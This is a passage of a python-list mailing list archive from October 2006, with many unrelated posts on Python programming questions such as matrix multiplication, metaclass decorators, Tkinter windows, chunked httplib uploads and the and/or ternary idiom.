There is lots and lots of research on this subject.  It's called
"steganography" and "digital watermarking".  Google is your friend.
-- 
Tim Roberts, timr at probo.com
Providenza & Boekelheide, Inc.


From 71david at libero.it  Wed Oct 18 08:51:16 2006
From: 71david at libero.it (David)
Date: Wed, 18 Oct 2006 14:51:16 +0200
Subject: matrix Multiplication
References: <1161170249.549988.260870@m73g2000cwd.googlegroups.com>
Message-ID: <21kw1dd7tyt1.17useke8ur07r.dlg@40tude.net>

Il 18 Oct 2006 04:17:29 -0700, Sssasss ha scritto:

> hi evrybody!
> 
> I wan't to multiply two square matrixes, and i don't understand why it
> doesn't work.
Can I suggest a little bit less cumbersome algorithm?

def multmat2(A,B):
    "A*B"
    if len(A)!=len(B): return "error"   # this check is not enough!
    n = range(len(A))
    C = []
    for i in n:
        C.append([0]*len(A))  # add a row to C
        for j in n:
            a = A[i]    # get row i from A
            b = [row[j] for row in B] # get col j from B
            C[i][j] = sum([x*y for x,y in zip(a,b)])
    return C

regards
D.


From exarkun at divmod.com  Tue Oct 10 11:26:51 2006
From: exarkun at divmod.com (Jean-Paul Calderone)
Date: Tue, 10 Oct 2006 11:26:51 -0400
Subject: can regular ol' python do a php include?
In-Reply-To: <YzOWg.92$1n3.2328@news.tufts.edu>
Message-ID: <20061010152651.1717.1431004294.divmod.quotient.72775@ohm>

On Tue, 10 Oct 2006 15:00:08 GMT, John Salerno <johnjsal at nospamgmail.com> wrote:
>Fredrik Lundh wrote:
>
>> you don't even need anything from the standard library to inserting output
>> from one function into given text...
>>
>>     text = "... my page with %(foo)s markers ..."
>>
>>     print text % dict(foo=function())
>
>Wow, thanks. So if I have a file called header.html that contains all my
>header markup, I could just insert this line into my html file? (which I
>suppose would become a py file)
>
>print open('header.html').read()
>
>Not quite as elegant as include('header.html'), but it seems like it
>would work.


def include(filename):
    print open(filename).read()

include('header.html')

Behold, the power of a general purpose programming language.

Jean-Paul


From bbull at optiosoftware.com  Thu Oct 19 18:52:42 2006
From: bbull at optiosoftware.com (WakeBdr)
Date: 19 Oct 2006 15:52:42 -0700
Subject: Can I use decorators to manipulate return type or create methods?
In-Reply-To: <4ppla2Fit83qU1@uni-berlin.de>
References: <1161265429.237110.43380@m73g2000cwd.googlegroups.com>
	<4ppla2Fit83qU1@uni-berlin.de>
Message-ID: <1161298362.722062.265520@i3g2000cwc.googlegroups.com>

Diez,
     What does the function._marked accomplish?

Diez B. Roggisch wrote:
> WakeBdr schrieb:
> > I'm writing a class that will query a database for some data and return
> > the result to the caller.  I need to be able to return the result of
> > the query in several different ways: list, xml, dictionary, etc.  I was
> > wondering if I can use decorators to accomplish this.
> >
> > For instance, I have the following method
> >
> > def getUsers(self, params):
> >     return users.query(dbc)
> >
> > To get the appropriate return types, I also have these methods.  I have
> > these convenience methods for every query method in my class.
> >
> > def getUsersAsXML(self, params):
> >     return self._toXML(self.getUsers(params))
> > def getUsersAsDict(self, params):
> >     return self._toDict(self.getUsers(params))
> > def getUsersAsList(self, params):
> >     return self._toList(self.getUsers(params))
> >
> > Instead of creating these three methods for every query method, is
> > there a way to use decorators to manipulate the return type.  I'd still
> > like to have the caller use getUsersAsXML, I just don't want to write
> > the AsXML methods for every query method.  So the decorator would
> > essentially create the convenience methods instead of me coding them.
> >
> > One solution that I don't want to use is passing a variable into the
> > query method that determines the return type.  This is what I don't
> > want to do.
> > def getUsers(self, params, returnType):
> >
> > Any ideas on how I can accomplish this?
>
> Use a metaclass.
>
> class Magic(type):
>      def __new__(cls, name, bases, d):
>          for name, function in d.items():
>              try:
>                  function._marked
>                  def toXML(self, *args, **kwargs):
>                      return self._toXML(function(self, *args, **kwargs))
>                  def toFOO(self, *args, **kwargs):
>                      return self._toFOO(function(self, *args, **kwargs))
>                  d[name + "XML"] = toXML
>                  d[name + "FOO"] = toFOO
>              except AttributeError:
>                  pass
>          return type(name, bases, d)
>
>
> def mark(f):
>      f._marked = True
>      return f
>
> class MyClass(object):
>      __metaclass__ = Magic
>
>      def _toXML(self, value):
>          return "Look Ma, its XML! %r" % value
>
>      def _toFOO(self, value):
>          return "Look Ma, its FOO! %r" % value
>
>
>      @mark
>      def someMethod(self):
>          return "Its the data, son"
>
>
> o = MyClass()
>
> print o.someMethod()
> print o.someMethodXML()
> print o.someMethodFOO()
> 
> 
> 
> Diez



From fredrik at pythonware.com  Sun Oct 22 14:56:56 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Sun, 22 Oct 2006 20:56:56 +0200
Subject: ElementSOAP tutorial / HTTPClient
In-Reply-To: <1161542741.637705.272180@b28g2000cwb.googlegroups.com>
References: <1161542741.637705.272180@b28g2000cwb.googlegroups.com>
Message-ID: <ehgetl$1rm$1@sea.gmane.org>

mirandacascade at yahoo.com wrote:

> 2) how should I have constructed my searches when attempting to resolve
> this issue such that I wouldn't have had to post this question?

maybe reading the highlighted "Note" at the top of each page in that 
article series could have helped?

     "Note: A distribution kit containing the source code for this
     article is available from the effbot.org downloads site (look
     for elementsoap)."

</F>



From hanumizzle at gmail.com  Fri Oct 13 16:03:26 2006
From: hanumizzle at gmail.com (Theerasak Photha)
Date: Fri, 13 Oct 2006 16:03:26 -0400
Subject: wing ide vs. komodo?
In-Reply-To: <18SXg.27347$Go3.9933@dukeread05>
References: <2nRXg.108$1n3.2866@news.tufts.edu>
	<mailman.480.1160767168.11739.python-list@python.org>
	<tURXg.27343$Go3.5193@dukeread05>
	<mailman.481.1160768935.11739.python-list@python.org>
	<18SXg.27347$Go3.9933@dukeread05>
Message-ID: <463ff4860610131303v517d5170h75922ca47e688251@mail.gmail.com>

On 10/13/06, hg <hg at nospam.com> wrote:

> I have spend the past two years with eclipse/pydev ... a few issue are
> still troublesome to me (speed, search for definitions ... being a few
> of them) ... and until two days ago I had not even looked at Wing as I
> wrongly thought it was on Windoze-based. But I must must admit I am
> impressed - yet I feel it would be stupid to not look carefully at
> Komodo ... hence my questions.

I haven't used Komodo personally. I like Emacs. However:

1) *Appearing* sparse doesn't mean much---Emacs 22's GTK interface
'looks' sparse as well, and sparse is the last word that comes to mind
when I think of Emacs
2) I've *heard* good things about Komodo before from others---it might
just be awesome

Perhaps you could try the Eric IDE? I hear SPE is not in active
dev.--- a pity to be sure, but I have used Eric before and found it
pretty easy to use and featureful.

-- Theerasak


From limodou at gmail.com  Tue Oct 17 02:42:26 2006
From: limodou at gmail.com (limodou)
Date: Tue, 17 Oct 2006 14:42:26 +0800
Subject: Best IDE?
In-Reply-To: <200610140159.41762.fulvio@tm.net.my>
References: <1160749749.140484.97990@f16g2000cwb.googlegroups.com>
	<463ff4860610130745y769107f2x4bfa00928ebd7c03@mail.gmail.com>
	<505f13c0610130817g41d6fd03qf62c8c0338292554@mail.gmail.com>
	<200610140159.41762.fulvio@tm.net.my>
Message-ID: <505f13c0610162342gf1b97f7r1476df68adaaf457@mail.gmail.com>

On 10/14/06, Fulvio <fulvio at tm.net.my> wrote:
> ***********************
> Your mail has been scanned by InterScan MSS.
> ***********************
>
>
> On Friday 13 October 2006 23:17, limodou wrote:
> > hope you try it.
>
> If you'll manage for macro recording, playing back and from file then I'll be
> yours :)
>
> F
>
I'll add this funcationality at 3.6 version. And I want to release 3.5
as soon as I can.

-- 
I like python!
UliPad <<The Python Editor>>: http://wiki.woodpecker.org.cn/moin/UliPad
My Blog: http://www.donews.net/limodou


From skip at pobox.com  Mon Oct 23 13:52:35 2006
From: skip at pobox.com (skip at pobox.com)
Date: Mon, 23 Oct 2006 12:52:35 -0500
Subject: Looking for a Python-on-Windows person to help with SpamBayes
Message-ID: <17725.355.375498.751862@montanaro.dyndns.org>


I'm looking for some help with SpamBayes.  It can be short-term or
long-term.  I've implemented some OCR capability based on the open source
ocrad program that works reasonably well to extract text tokens from
image-based spam.  Alas, I don't use Windows at all, so I can't make sure
this stuff works on Windows.  None of the usual suspects in the SpamBayes
development community have any free time at the moment.  Others are helping
out, but they are user types, not programmer types, so the round trip
between "this doesn't work", to "okay, try this" and back again is
agonizingly slow.

The bare requirements are:

    * Able to program in Python on Windows (that is, remove my Unix-think
      from the OCR bits of code)

    * Use Outlook to read mail (so you can test the changes with the
      SpamBayes Outlook plugin)

If you can compile software under cygwin (the ocrad program builds fine
under cygwin) and/or can create installers for Python-based Windows apps
that would be a plus.

If you can help out, please drop an email to spambayes-dev at python.org.

Thanks,

-- 
Skip Montanaro - skip at pobox.com - http://www.mojam.com/
"The hippies and the hipsters did some great stuff in the sixties,
but the geeks pulled their weight too." -- Billy Bragg


From skip at pobox.com  Fri Oct  6 16:32:53 2006
From: skip at pobox.com (skip at pobox.com)
Date: Fri, 6 Oct 2006 15:32:53 -0500
Subject: n-body problem at shootout.alioth.debian.org
In-Reply-To: <eg6bku$59b$1@online.de>
References: <eg6bku$59b$1@online.de>
Message-ID: <17702.48501.281404.264651@montanaro.dyndns.org>


    Peter> I have noticed that in the language shootout at
    Peter> shootout.alioth.debian.org the Python program for the n-body
    Peter> problem is about 50% slower than the Perl program. This is an
    Peter> unusual big difference. I tried to make the Python program faster
    Peter> but without success. Has anybody an explanation for the
    Peter> difference?  It's pure math so I expected Perl and Python to have
    Peter> about the same speed.

They do have "about the same speed" (factor of 1.6x between Perl and
Python).  The Python #2 improves that to under 1.4x.

I took the original version, tweaked it slightly (probably did about the
same things as Python #2, I didn't look).  For N == 200,000 the time went
from 21.94s (user+sys) to 17.22s.  Using psyco and binding just the advance
function on my improved version improved that further to 6.48s.   I didn't
have the patience to run larger values of N.  Diff appended.

I suspect the numpy users in the crowd could do somewhat better.

Skip

% diff -u nbody.py.~1~ nbody.py
--- nbody.py.~1~        2006-10-06 15:13:31.636675000 -0500
+++ nbody.py    2006-10-06 15:24:46.048689000 -0500
@@ -5,6 +5,7 @@
 # contributed by Kevin Carson

 import sys
+import psyco

 pi = 3.14159265358979323
 solar_mass = 4 * pi * pi
@@ -14,19 +15,20 @@
     pass

 def advance(bodies, dt) :
-    for i in xrange(len(bodies)) :
+    nbodies = len(bodies)
+    for i in xrange(nbodies) :
         b = bodies[i]

-        for j in xrange(i + 1, len(bodies)) :
+        for j in xrange(i + 1, nbodies) :
             b2 = bodies[j]

             dx = b.x - b2.x
             dy = b.y - b2.y
             dz = b.z - b2.z
-            distance = (dx**2 + dy**2 + dz**2)**0.5
-
-            b_mass_x_mag = dt * b.mass / distance**3
-            b2_mass_x_mag = dt * b2.mass / distance**3
+            dsqr = (dx*dx + dy*dy + dz*dz)
+            dtd3 = dt / dsqr ** 1.5
+            b_mass_x_mag = dtd3 * b.mass
+            b2_mass_x_mag = dtd3 * b2.mass

             b.vx -= dx * b2_mass_x_mag
             b.vy -= dy * b2_mass_x_mag
@@ -39,6 +41,7 @@
         b.x += dt * b.vx
         b.y += dt * b.vy
         b.z += dt * b.vz
+psyco.bind(advance)

 def energy(bodies) :
     e = 0.0


From bignose+hates-spam at benfinney.id.au  Tue Oct 24 19:36:51 2006
From: bignose+hates-spam at benfinney.id.au (Ben Finney)
Date: Wed, 25 Oct 2006 09:36:51 +1000
Subject: Visibility against an unknown background
References: <1161701658.722683.46230@e3g2000cwe.googlegroups.com>
	<12jsc6r4ddnr886@corp.supernews.com>
Message-ID: <871woxp9po.fsf@benfinney.id.au>

Grant Edwards <grante at visi.com> writes:

> The traditional way to draw lines on something with varying colors
> is to use the "xor" operator when drawing the lines.

But first, negotiate a patent license for this highly innovative and
non-obvious technique that is "owned" as US Patent #4,197,590.

    <URL:http://www.fourmilab.ch/autofile/www/chapter2_105.html>

Aren't monopolies on ideas wonderful?

-- 
 \     "I'd like to see a nude opera, because when they hit those high |
  `\   notes, I bet you can really see it in those genitals."  -- Jack |
_o__)                                                           Handey |
Ben Finney



From sjdevnull at yahoo.com  Mon Oct  9 17:15:04 2006
From: sjdevnull at yahoo.com (sjdevnull at yahoo.com)
Date: 9 Oct 2006 14:15:04 -0700
Subject: Python component model
In-Reply-To: <1FyWg.7185$Y24.219@newsread4.news.pas.earthlink.net>
References: <W5wWg.7118$Y24.2917@newsread4.news.pas.earthlink.net>
	<mailman.130.1160418618.11739.python-list@python.org>
	<HwxWg.5035$Lv3.2259@newsread1.news.pas.earthlink.net>
	<452AA71E.1010000@hotmail.com>
	<1FyWg.7185$Y24.219@newsread4.news.pas.earthlink.net>
Message-ID: <1160428504.374553.51070@i42g2000cwa.googlegroups.com>

Edward Diener No Spam wrote:
> Chaz Ginger wrote:
> > Why not propose something. That is the easiest way to get things moving.
>
> How does one do that ? Propose something here on this NG or is there
> some other official way ?

Come up with a specification, with examples.  Ideally have working
code.  Post here to get some initial feedback, if things look like
they're worth pushing forward after that then write a PEP:

http://www.python.org/dev/peps/pep-0001/



From jnoller at gmail.com  Mon Oct  2 13:35:28 2006
From: jnoller at gmail.com (Jesse Noller)
Date: Mon, 2 Oct 2006 13:35:28 -0400
Subject: httplib and large file uploads
Message-ID: <4222a8490610021035j28ddc198kfb60fa43b30a5ce9@mail.gmail.com>

Hey All,

I'm working on an script that will generate a file of N size (where N is
1k-1gig) in small chunks, in memory (and hash the data on the fly) and pass
it to an httplib object for upload. I don't want to store the file on the
disk, or completely in memory at any time. The problem arises after getting
the http connection (PUT) - and then trying to figure out how to
iterate/hand the chunks I am generating to the httplib connection's send()
call. For example (this code does not work as is):

chunksize = 1024
size = 10024

http = httplib.HTTP(url, '80')
http.putrequest("PUT", save_url)
http.putheader("Content-Length", str(size))
http.endheaders()

for i in xrange(size / chunksize):
    chunk = ur.read(chunksize)
    http.send(chunk)

errcode, errmsg, headers = http.getreply()
http.close()


In this case, "ur" is a file handle pointing to /dev/urandom. Obviously, the
problem lies in the multiple send(chunk) calls. I'm wondering if it is
possible to hand
http.send() an iterator/generator which can pass chunks in as needed.

Thanks in advance,
-jesse
-------------- next part --------------
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From chris.cavalaria at free.fr  Tue Oct 17 11:01:24 2006
From: chris.cavalaria at free.fr (Christophe)
Date: Tue, 17 Oct 2006 17:01:24 +0200
Subject: Tertiary Operation
In-Reply-To: <1161091832.088769.279630@b28g2000cwb.googlegroups.com>
References: <1161091832.088769.279630@b28g2000cwb.googlegroups.com>
Message-ID: <4534f044$0$8678$426a74cc@news.free.fr>

abcd a ?crit :
> x = None
> result = (x is None and "" or str(x))
> 
> print result, type(result)
> 
> ---------------
> OUTPUT
> ---------------
> None <type 'str'>
> 
> 
> y = 5
> result = (y is 5 and "it's five" or "it's not five")
> 
> print result
> 
> -------------
> OUTPUT
> -------------
> it's five
> 
> ...what's wrong with the first operation I did with x?  I was expecting
> "result" to be an empty string, not the str value of None.
> 

the "<condition> and <if_true> or <if_false>" is NOT a ternary operator 
but an ugly hack that breaks in some situations. It just happens that 
you stumbled on one of those situations : <if_true> must never evaluate 
as False. Please, do not use that ugly hack anymore and do a proper if 
block.

Or use Python 2.5 with the official ternary operator ;)



From fredrik at pythonware.com  Mon Oct  9 05:18:37 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Mon, 9 Oct 2006 11:18:37 +0200
Subject: Tkinter: Making a window disappear
References: <1160384553.312778.275170@b28g2000cwb.googlegroups.com>
Message-ID: <egd45d$kmt$1@sea.gmane.org>

Claus Tondering wrote:

>I am trying to make a Tkinter main window appear and disappear, but I
> have problems with that.
>
> Here is a small code sample:
>
>    class MyDialog(Frame):
>        def __init__(self):
>            Frame.__init__(self, None)
>            Label(self, text="Hello").pack()
>            Button(self, text="OK", command=self.ok).pack()
>            self.grid()
>
>        def ok(self):
>            self.destroy()
>            self.quit()
>
>    MyDialog().mainloop()
>    print "Now waiting 5 seconds"
>    time.sleep(5)
>    MyDialog().mainloop()
>
> The first mainloop() shows the dialog nicely, and I press the "OK"
> button. The system then sleeps for 5 seconds, and a new dialog is
> displayed. This is all very nice.
>
> But during the 5 seconds of sleeping, remnants of the old window are
> still visible. It is not redrawn, but it just lies there as an ugly box
> on the display. I thought that destroy()/quit() would completely remove
> the window, but obviously I am wrong.

your program can (quite obviously) not process any events when it's stuck
inside time.sleep().  adding a call to self.update() before you quit the event
loop should do the trick:

        def ok(self):
            self.destroy()
            self.update() # process all queued events
            self.quit()

</F> 





From DustanGroups at gmail.com  Fri Oct 20 18:49:00 2006
From: DustanGroups at gmail.com (Dustan)
Date: 20 Oct 2006 15:49:00 -0700
Subject: Inheriting property functions
In-Reply-To: <1161383286.543397.46700@m73g2000cwd.googlegroups.com>
References: <1161383286.543397.46700@m73g2000cwd.googlegroups.com>
Message-ID: <1161384540.703733.59910@m7g2000cwm.googlegroups.com>


Dustan wrote:
> Looking at this interactive session:
>
> >>> class A(object):
> 	def __init__(self, a):
> 		self.a = a
> 	def get_a(self): return self.__a
> 	def set_a(self, new_a): self.__a = new_a
> 	a = property(get_a, set_a)
>
>
> >>> class B(A):
> 	b = property(get_a, set_a)
>
>
> Traceback (most recent call last):
>   File "<pyshell#11>", line 1, in <module>
>     class B(A):
>   File "<pyshell#11>", line 2, in B
>     b = property(get_a, set_a)
> NameError: name 'get_a' is not defined
> >>> class B(A):
> 	b = a
>
>
> Traceback (most recent call last):
>   File "<pyshell#13>", line 1, in <module>
>     class B(A):
>   File "<pyshell#13>", line 2, in B
>     b = a
> NameError: name 'a' is not defined
> >>>
>
> B isn't recognizing its inheritence of A's methods get_a and set_a
> during creation.
>
> Why am I doing this? For an object of type B, it makes more sense to
> reference the attribute 'b' than it does to reference the attribute
> 'a', even though they are the same, in terms of readability.

Clarification: The code given is obviously not the actual code. I doubt
it would really make a difference in types A and B given here, but for
what I'm actually doing, it makes a big difference.

> Is there any way to make this work as intended?



From f.braennstroem at gmx.de  Mon Oct  9 16:06:27 2006
From: f.braennstroem at gmx.de (Fabian Braennstroem)
Date: Mon, 9 Oct 2006 22:06:27 +0200
Subject: change directory when closing curses program
Message-ID: <egea43$8aq$1@sea.gmane.org>

Hi,

I am using lfm, a curses based file manager, and want to
change into the last directory of my lfm-session after
closing it. To be more clear:

1) run lfm from console in the home directory ~
2) move to ~/something
3) close lfm
4) be in ~/something on the console

Is that possible in any way? lfm uses a bash-function for this
purpose , which does not work in tcsh ... :-(

Greetings!
 Fabian



From dfj225 at gmail.com  Thu Oct 19 09:51:00 2006
From: dfj225 at gmail.com (dfj225 at gmail.com)
Date: 19 Oct 2006 06:51:00 -0700
Subject: Python with MPI enable C-module
Message-ID: <1161265860.684651.91210@k70g2000cwa.googlegroups.com>

Hello All,

A software project that I am working on currently has a C++ library
that runs on a Beowulf cluster for parallel computation. The library
code uses MPI for its implementation. We are currently developing
python wrappers for the library. Our current design uses one Python
process as a front end with processes created from the library code on
the back end (it is processes of this type that run on all the nodes of
the cluster).

What I'm considering is delving into the possibility of having Python
processes on all of the nodes of the cluster. These processes would
wrap our C++ library. What I'm wondering is:

1) Would setting up an environment like this require modifying the
Python interpreter or the C++ module that is being wrapped? What I'm
hoping is that the C++ module can go on happily doing MPI operations
despite the fact that it is actually being called by the Python
interpreter.

2) Would it be possible to spawn these Python processes using mpiexec
(or something similar), or would I need to use some of the MPI-2
features to dynamically set up the MPI environment?

3) Has anyone accomplished something like this already? I know there
are extensions and modules that add MPI functionality to Python, but
I'm hoping they could be avoided, since the Python code itself should
never really have to be aware of MPI, only the C++ module that has
already been written.

Let me apologize up front if this has already been discussed before.
I've done a few searches in this group and it seems that most of the
discussion on this front took place many years ago, so the relevance is
quite low.

Thank you in advance for your attention. 

~doug



From luc.saffre at gmail.com  Mon Oct 23 05:28:34 2006
From: luc.saffre at gmail.com (luc.saffre at gmail.com)
Date: 23 Oct 2006 02:28:34 -0700
Subject: comparing Unicode and string
In-Reply-To: <mailman.830.1161338118.11739.python-list@python.org>
References: <1161005167.295259.290800@m7g2000cwm.googlegroups.com>
	<1161281095.174018.223790@f16g2000cwb.googlegroups.com>
	<mailman.830.1161338118.11739.python-list@python.org>
Message-ID: <1161595714.342067.51350@e3g2000cwe.googlegroups.com>

I didn't mean that the *assignment* should raise exception. I mean that
any string constant that cannot be decoded using
sys.getdefaultencoding() should be considered a kind of syntax error.

I agree of course with the argument of backward compatibility, which
means that my suggestion is for Python 3.0, not earlier.

And I admit that my suggestion lacks a solution for Neil Cerutti's use
of non-decodable simple strings. And I admit that there are certainly
more competent people than me to think about this question. I just
wanted to throw my penny into the pond :-)

Luc

Fredrik Lundh wrote:
> luc.saffre at gmail.com wrote:
>
> > Suggestion: shouldn't an error raise already when I try to assign s2?
>
> variables are not typed in Python.  plain assignment will never raise an
> exception.
> 
> </F>



From fredrik at pythonware.com  Sun Oct 29 03:22:17 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Sun, 29 Oct 2006 09:22:17 +0100
Subject: random module
In-Reply-To: <187d38240610282210l2b73c838q8def1be5ca2cea7d@mail.gmail.com>
References: <187d38240610282210l2b73c838q8def1be5ca2cea7d@mail.gmail.com>
Message-ID: <ei1obp$nb5$1@sea.gmane.org>

Moishy Gluck wrote:

> I am using the random module to generate a session tracker. I use this 
> code to generate a random number "random.random() * 10000000000000000" 
> The session is stored in a mysql database under the field session_id. 
> The problem is when I try to submit the random number into my database I 
> get this error
> 
> *IntegrityError*: (1062, "Duplicate entry '2147483647' for key 1")
>       args = (1062, "Duplicate entry '2147483647' for key 1")
> 
> With the same number every time. The  number being 2147483647. Does 
> eneyone know what the problem is.

2147483647 is the largest integer that can be stored in a 32-bit signed 
integer field.

what data type are you using for the session_id type?

</F>



From duncan.booth at invalid.invalid  Tue Oct  3 07:54:18 2006
From: duncan.booth at invalid.invalid (Duncan Booth)
Date: 3 Oct 2006 11:54:18 GMT
Subject: Raw strings and escaping
References: <mailman.1152.1159872720.10491.python-list@python.org>
	<slrnei4hm2.27q.jon+usenet@snowy.squish.net>
Message-ID: <Xns9851834924701duncanbooth@127.0.0.1>

Jon Ribbens <jon+usenet at unequivocal.co.uk> wrote:

> I presume there was originally some reason for this bizarre behaviour
> - it'd be interesting to know what it is/was, if anyone knows?
> 
See the FAQ for the explanation:

http://www.python.org/doc/faq/general/#why-can-t-raw-strings-r-strings-end-with-a-backslash

The idea is that if you use raw strings for regular expressions you can 
write things like:

  pattern = r'[\'"]'

if the raw string simply ignored the backslash altogether it would be much 
harder to write regular expressions that contain both sorts of quotes.


From paul at boddie.org.uk  Fri Oct  6 05:45:27 2006
From: paul at boddie.org.uk (Paul Boddie)
Date: 6 Oct 2006 02:45:27 -0700
Subject: Request for recommendations: shared database without a server
References: <1160077602.190028.286290@h48g2000cwc.googlegroups.com>
Message-ID: <1160127926.976419.61370@m73g2000cwd.googlegroups.com>

EP wrote:
>

[Client-only application with shared storage and concurrent access]

> Can I get there with MySQL?  Or do I need to pair a pure python
> approach (including the database) with py2exe?  Has anyone achieved
> this with a db framework like Dabo?  Or is there another, entirely
> different and better approach?

One of the features of SQLite version 3 is supposedly the possibility
of having multiple processes safely access an SQLite database:

http://www.sqlite.org/faq.html#q7

Unfortunately, networked storage may not be supported to any level
acceptable for your application.

Paul



From pruebauno at latinmail.com  Thu Oct 26 16:51:24 2006
From: pruebauno at latinmail.com (pruebauno at latinmail.com)
Date: 26 Oct 2006 13:51:24 -0700
Subject: compiling on AIX 5.3 with vacpp
Message-ID: <1161895884.160561.308020@e3g2000cwe.googlegroups.com>

I am trying to compile Python 2.5 on AIX 5.3. I used

export PATH=/usr/bin:/usr/vacpp/bin

OPT=-O2 ./configure --with-gcc="xlc_r -q64" --with-cxx="xlC_r -q64"
--disable-ipv6 AR="ar -X64"

make

The following error stops make in its track:

building '_locale' extension
./Modules/ld_so_aix xlc_r -q64 -bI:Modules/python.exp
build/temp.aix-5.3-2.5/home/pxadm/.test/Python-2.5/Modules/_localemodule.o
-L/usr/local/lib -o build/lib.aix-5.3-2.5/_locale.so
ld: 0711-317 ERROR: Undefined symbol: .bindtextdomain
ld: 0711-317 ERROR: Undefined symbol: .textdomain
ld: 0711-317 ERROR: Undefined symbol: .dcgettext
ld: 0711-317 ERROR: Undefined symbol: .dgettext
ld: 0711-317 ERROR: Undefined symbol: .gettext
ld: 0711-345 Use the -bloadmap or -bnoquiet option to obtain more
information.
*** WARNING: renaming "_locale" since importing it failed:
0509-022 Cannot load module build/lib.aix-5.3-2.5.
        0509-026 System error: A file or directory in the path name
does not exist.
error: No such file or directory
make: 1254-004 The error code from the last command is 1.

Stop.

>

Any help appreciated as to explain what that error could mean and
possible ways of fixing it.



From carsten at uniqsys.com  Tue Oct 17 09:43:43 2006
From: carsten at uniqsys.com (Carsten Haese)
Date: Tue, 17 Oct 2006 09:43:43 -0400
Subject: Tertiary Operation
In-Reply-To: <1161091832.088769.279630@b28g2000cwb.googlegroups.com>
References: <1161091832.088769.279630@b28g2000cwb.googlegroups.com>
Message-ID: <1161092623.9902.14.camel@dot.uniqsys.com>

On Tue, 2006-10-17 at 09:30, abcd wrote:
> x = None
> result = (x is None and "" or str(x))
> 
> print result, type(result)
> 
> ---------------
> OUTPUT
> ---------------
> None <type 'str'>

The "condition and result1 or result2" trick only works if result1 is an
expression with a True boolean value. The empty string has a false
boolean value.

You could force result1 to have a true boolean value by sticking it into
a list thusly:

result = (x is None and [""] or [str(x)])[0]

But that's ugly. Use Python 2.5 where there is a true conditional
expression or find another way to solve your problem.

-Carsten




From johnjsal at NOSPAMgmail.com  Mon Oct 30 11:38:10 2006
From: johnjsal at NOSPAMgmail.com (John Salerno)
Date: Mon, 30 Oct 2006 16:38:10 GMT
Subject: checking if a sqlite connection and/or cursor is still open?
Message-ID: <STp1h.200$1n3.4433@news.tufts.edu>

Is there a way to check if a SQLite connection and cursor object are 
still open? I took a look at the docs and the DB API but didn't see 
anything like this.

Thanks.


From bignose+hates-spam at benfinney.id.au  Wed Oct 18 22:30:40 2006
From: bignose+hates-spam at benfinney.id.au (Ben Finney)
Date: Thu, 19 Oct 2006 12:30:40 +1000
Subject: Corner cases (was: Converting existing module/objects to threads)
References: <1161219746.574285.188930@m7g2000cwm.googlegroups.com>
Message-ID: <87mz7tyr3j.fsf@benfinney.id.au>

"jdlists at gmail.com" <jdlists at gmail.com> writes:

> So an instance of a controller needs to be deadicated to a hardware
> device forever, or until the program ends....which ever comes first.

I hope you've got tests in place for both of those conditions :-)

-- 
 \     "How many people here have telekenetic powers? Raise my hand."  |
  `\                                                    -- Emo Philips |
_o__)                                                                  |
Ben Finney



From gagsl-py at yahoo.com.ar  Thu Oct  5 20:34:01 2006
From: gagsl-py at yahoo.com.ar (Gabriel Genellina)
Date: Thu, 05 Oct 2006 21:34:01 -0300
Subject: MIMEMultipart() and CRLF vs RFC  2046
In-Reply-To: <CP-dnQFV0ZUrFLjYnZ2dnUVZ_rGdnZ2d@comcast.com>
References: <CP-dnQFV0ZUrFLjYnZ2dnUVZ_rGdnZ2d@comcast.com>
Message-ID: <7.0.1.0.0.20061005212123.0463f260@yahoo.com.ar>

At Thursday 5/10/2006 18:52, alf wrote:

>according to rfc2046, line breaks in MIME are CRLF. However python just
>uses LF like in the following example:

The comments inside generator.py say CRLF everywhere, but the code 
simply uses print >>f
You should file a bug report at http://sourceforge.net/tracker/?group_id=5470


Gabriel Genellina
Softlab SRL 


	
	
		
__________________________________________________
Pregunt?. Respond?. Descubr?.
Todo lo que quer?as saber, y lo que ni imaginabas,
est? en Yahoo! Respuestas (Beta).
?Probalo ya! 
http://www.yahoo.com.ar/respuestas



From fredrik at pythonware.com  Sat Oct 28 03:59:29 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Sat, 28 Oct 2006 09:59:29 +0200
Subject: Where do nested functions live?
In-Reply-To: <pan.2006.10.28.07.56.22.854398@REMOVE.THIS.cybersource.com.au>
References: <pan.2006.10.28.07.56.22.854398@REMOVE.THIS.cybersource.com.au>
Message-ID: <ehv2l1$a23$1@sea.gmane.org>

Steven D'Aprano wrote:

> I defined a nested function:
> 
> def foo():
>     def bar():
>         return "bar"
>     return "foo " + bar()
> 
> which works. Knowing how Python loves namespaces, I thought I could do
> this:
> 
>>>> foo.bar()
> Traceback (most recent call last):
>   File "<stdin>", line 1, in ?
> AttributeError: 'function' object has no attribute 'bar'
> 
> but it doesn't work as I expected.
> 
> where do nested functions live?

in the local variable of an executing function, just like the variable 
"bar" in the following function:

     def foo():
         bar = "who am I? where do I live?"

(yes, an inner function is *created* every time you execute the outer 
function.  but it's created from prefabricated parts, so that's not a 
very expensive process).

</F>



From gagsl-py at yahoo.com.ar  Fri Oct 27 16:00:30 2006
From: gagsl-py at yahoo.com.ar (Gabriel Genellina)
Date: Fri, 27 Oct 2006 17:00:30 -0300
Subject: Optional Parameter Requirements
In-Reply-To: <1161977744.737937.56400@i42g2000cwa.googlegroups.com>
References: <1161977744.737937.56400@i42g2000cwa.googlegroups.com>
Message-ID: <7.0.1.0.0.20061027165612.03d3ca08@yahoo.com.ar>

At Friday 27/10/2006 16:35, dhable at gmail.com wrote:

>If I'm building a function to accept optional parameters, do I need to
>allow for the capture of both the positional arguments as well as the
>keyword arguments? If it doesn't make sense to allow keyword arguments,
>can I just write:
>
>def myfunc(a, b, *tup):
>   ...
>
>and be done with it?

Just try and see if it works.
http://docs.python.org/tut/node6.html#SECTION006730000000000000000


-- 
Gabriel Genellina
Softlab SRL 

__________________________________________________
Correo Yahoo!
Espacio para todos tus mensajes, antivirus y antispam ?gratis! 
?Abr? tu cuenta ya! - http://correo.yahoo.com.ar


From http  Sun Oct 22 21:11:24 2006
From: http (Paul Rubin)
Date: 22 Oct 2006 18:11:24 -0700
Subject: Arrays? (Or lists if you prefer)
References: <1161565656.906572.209750@f16g2000cwb.googlegroups.com>
Message-ID: <7xlkn725vn.fsf@ruckus.brouhaha.com>

"Hakusa at gmail.com" <Hakusa at gmail.com> writes:
> Way to do SIMPLE array, either internally or externally, with Python,

Maybe you want to use a dictionary:

   a = {}
   a[(3,5)] = 2


From chrispearl at gmail.com  Tue Oct 31 07:09:36 2006
